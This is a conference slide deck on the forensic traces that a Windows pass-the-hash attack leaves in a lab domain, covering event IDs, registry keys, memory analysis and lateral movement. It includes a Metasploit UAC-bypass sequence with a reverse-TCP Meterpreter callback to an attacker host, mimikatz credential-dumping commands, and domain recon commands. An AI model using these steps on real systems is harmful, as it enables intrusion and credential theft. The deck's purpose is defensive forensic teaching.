FORENSIC ARTIFACTS FROM A PASS THE HASH (PTH) ATTACK

BY: GERARD LAYGUI
DISCLAIMER: THE VIEWS AND OPINIONS EXPRESSED IN THIS PRESENTATION ARE THOSE OF THE AUTHOR’S AND DOES NOT NECESSARILY REPRESENT THE OFFICIAL POLICY OR POSITION OF THE COMPANY THAT THE AUTHOR WORKS FOR.
WHAT IS A HASH?

A HASH FUNCTION IS ANY FUNCTION THAT CAN BE USED TO MAP DIGITAL DATA OF ARBITRARY SIZE TO DIGITAL DATA OF FIXED SIZE. IN THE CASE OF WINDOWS, A PASSWORD IS STORED IN EITHER A LANMAN (LM) HASH OR NT LAN MANAGER (NTLM) HASH FORMAT.
WHERE ARE HASHES STORED?

• The Security Accounts Manager (SAM) database.
• Local Security Authority Subsystem (LSASS) process memory.
• Domain Active Directory Database (domain controllers only).
• The Credential Manager (CredMan) store.
• LSA Secrets in the registry.
HASH EXAMPLES

• Plaintext = password

• LM Hash
  E52CAC67419A9A224A3B108F3FA6CB6D

• NTLM Hash
  8846F7EAE8FB117AD06BDD830B7586C
PASS THE HASH (PTH)

“Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password.”

In this case, hash == password
DEMO ENVIRONMENT - LOGGING CHANGES

- Audit logon events - Success & Failure
- Audit account management - Success & Failure
- Audit account logon events - Success & Failure
- Audit process tracking - Success & Failure
- Audit system events - Success & Failure
- Increase log file sizes

Microsoft Audit Policy Recommendations -
DEMO DOMAIN

ImaUser

Client Windows 7

Client 2

S-1-5-21domain-500

Member Server

W2K8 R2

Member Server 2

S-1-5-21domain-500

ImaDomainAdmin

W2K12 Domain Controller

Windows 2012 Native Mode
Domain Name: OHNOES.INTERNAL
PASS THE HASH ATTACK SEQUENCE

- Compromise
- Elevate Privilege
- Scrape Hashes
- Recon
- Leave Backdoor (Optional)
- Crack Hashes (Optional)

- Client Windows 7
- Pass The Hash
- Member Server W2K8 R2
- Pass The Hash
- W2K12 Domain Controller
- Extract Active Directory
DEMO PASS THE HASH
FORENSIC EVIDENCE

• Volatile
  • At Least - Network (pcap, routes, netstat), Process List
  • Best - RAM Memory Captures, hiberfil.sys
  • VMWare - Suspend VM, use vmem file

• Non-Volatile
  • At Least - Event Logs, Registry, Systeminfo
  • Best - Disk Images
  • VMWare - Use VMDK
ANALYSIS TOOLS - VOLATILE

• Dump Memory
  • HBGary - FDPro
  • Mandiant Memoryze

• Analyze Memory
  • Volatility (Free)
  • HBGary Responder Pro
ANALYSIS TOOLS – NON-VOLATILE

• Creating Disk Images
  • Linux dd
  • Encase
  • FTK

• Analyze Disk Images
  • The Sleuth Kit / Autopsy
  • Log2Timeline
  • Encase
  • FTK
COMPROMISE

- Windows Security Event Log (Process Audit Success)
- Security Event ID 4688 Process Creation
COMPROMISE

• Prefetch – Disk Artifact (Note: No artifacts if using a SSD or if using Windows Server OS)
• Time stamps reveal when a program was launched
COMPROMISE

- Shim Cache
- Registry – regripper
- Memory – volatility (shimcache switch)
COMPROMISE

- Memory - Volatility
- Malfind command
BACKDOOR

• Windows Security Event Log - Persistence
  • Security Event ID 4720 - User account created
  • Security Event ID 4732 – User added to groups
BACKDOOR

- Registry (Regripper)
  - Run Keys
    - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  - Service Install Date
PRIVILEGE ESCALATION

In order to scrape hashes, the attacker needs to change security context from user to Local System (SID S-1-5-18)
PRIVILEGE ESCALATION

Using Kali after I’ve already compromised the system using a Java exploit.

```
meterpreter > run post/windows/gather/win_prv
```

```
meterpreter > background
```

```
msf exploit(java_signed_applet) > use exploit/windows/local/bypassuac
```

```
msf exploit(bypassuac) > set SESSION 1
SESSION => 1
msf exploit(bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

```
msf exploit(bypassuac) > set LHOST 10.1.1.251
LHOST => 10.1.1.251
msf exploit(bypassuac) > set LPORT 8088
LPORT => 8088
msf exploit(bypassuac) > exploit
```

```
meterpreter > getuid
Server username: OHNOES\imaUser
```

```
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
PRIVILEGE ESCALATION

A trusted logon process has been registered with the Local Security Authority. This logon process will be trusted to submit logon requests.

- Security ID: SYSTEM
- Account Names: WIN7-IMUSER1$
- Account Domain: OHNOES
- Logon ID: 0x367
- Logon Process Name: ConsentUI

Event ID: 4611
Source: Microsoft Windows security auditing
Logged: 3/6/2015 6:01:01 PM
Task Category: Security System Extension
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN7-IMUSER1.OHNOES.INTERNAL

More Information: Event Log Online Help
SCRAPING HASHES

- **Service Install → Process Start**

  ![Event Log Screenshot](image.png)

  **General**
  - A service was installed in the system.
  - Service Name: WCESERVICE
  - Service File Name: c:\Users\imauser1\Downloads\mypayload\wce64.exe -S
  - Service Type: user mode service
  - Service Start Type: demand start
  - Service Account: LocalSystem

  **User:** SYSTEM

  **Log Name:** System
  **Source:** Service Control Manager
  **Event ID:** 7045
  **Keywords:** Classic
  **Computer:** Win7-imauser1.OHNOES.INTERNAL
SCRAPING HASHES

- Service Install → Process Start
Volatility – consoles command

```plaintext
ConsoleProcess: conhost.exe Pid: 3000
Console: 0xffe6200 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferSize: 1

OriginalTitle: C:\Users\imauser\Downloads\x64\mimikatz.exe
Title: mimikatz 2.0 alpha x64 (oe.eo)
AttachedProcess: mimikatz.exe Pid: 3012 Handle: 0x60

CommandHistory: 0x1fee20 Application: mimikatz.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDIsplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60

Cmd #0 at 0x1f36f0: privilege::debug
Cmd #1 at 0x1f6990: sekurls::logonpasswords

Screen 0x1e1280 X:80 Y:300

Dump:

```

.####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 13 2014 19:40:22)
.### ^ ###.
.### / ##/ */ **
.## / ##/ Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
.### v ##/ http://blog.gentilkiwi.com/mimikatz (oe.eo)
.####'

with 15 modules ** */
```
CRACKING NT HASHES

• John The Ripper
• OCLHashCat (GPU)
  • Ubuntu 14.04 - 8x AMD R9 290X can do 183528 Mh/s against NTLM, that is 183,528,000,000 tries per second*.
  • Roughly 9 hours to crack an 8 character password
RECON

Volatility – consoles or cmdscan

C: \Users\imauser> find "address" . \Documents\default.rdp

--------- . \DOCUMENTS\DEFAULT.RDP
full address: s: 10.1.1.10

C: \Users\imauser> net use
New connections will be remembered.

<table>
<thead>
<tr>
<th>Status</th>
<th>Local</th>
<th>Remote</th>
<th>Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>OK</td>
<td>Y: \gl-member1\c$</td>
<td>Microsoft Windows Network</td>
<td>VMware Shared Folders</td>
</tr>
<tr>
<td></td>
<td>Z: \vmware-host\Shared Folders</td>
<td></td>
<td>VMware Shared Folders</td>
</tr>
</tbody>
</table>

The command completed successfully.

C: \Users\imauser>nlttest /dclist:OHNOES
Get list of DCs in domain 'OHNOES' from '\GL-DC1'.
GL-DC1.OHNOES.INTERNAL [PDC] [DS] Site: Default-First-Site-Name

The command completed successfully.
<table>
<thead>
<tr>
<th>Date/Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>20110718-11:38:47</td>
<td>net group /domain</td>
</tr>
<tr>
<td>20110718-11:39:57</td>
<td>net start</td>
</tr>
<tr>
<td>20110718-11:58:54</td>
<td>net group &quot;domain admins&quot;</td>
</tr>
<tr>
<td>20110718-11:59:14</td>
<td>net group &quot;domain admins&quot; /domain</td>
</tr>
<tr>
<td>20110718-12:01:57</td>
<td>net group &quot;domain computers&quot; /domain</td>
</tr>
<tr>
<td>20110718-12:02:43</td>
<td>net group &quot;domain controllers&quot; /domain</td>
</tr>
<tr>
<td>20110718-12:03:26</td>
<td>net group &quot;domain users&quot; /domain</td>
</tr>
</tbody>
</table>
LATERAL MOVEMENT

Event ID 4624 – Logon / Event ID 4634 - Logoff
• Type 2 – Interactive
• Type 3 - Network Logon
• Type 10 – Remote Interactive (RDP)
LATERAL MOVEMENT

• RDP Pivot
  • Microsoft-Windows-TerminalServices-LocalSessionManager-Operational Event ID 21 (RDP Logon)
  • Microsoft-Windows-TerminalServices-LocalSessionManager-Operational Event ID 25 (RDP Reconnect)
LATERAL MOVEMENT

- RDP Pivot Continued
- Default.rdp disk artifact
- BMC Cache (bcache22.bmc)
QUESTIONS?

This slide deck and related links for the videos will be eventually posted on: Cyberseecology.com/DEFCON2015
Big thanks to Mike Landeck for allowing me to use his site!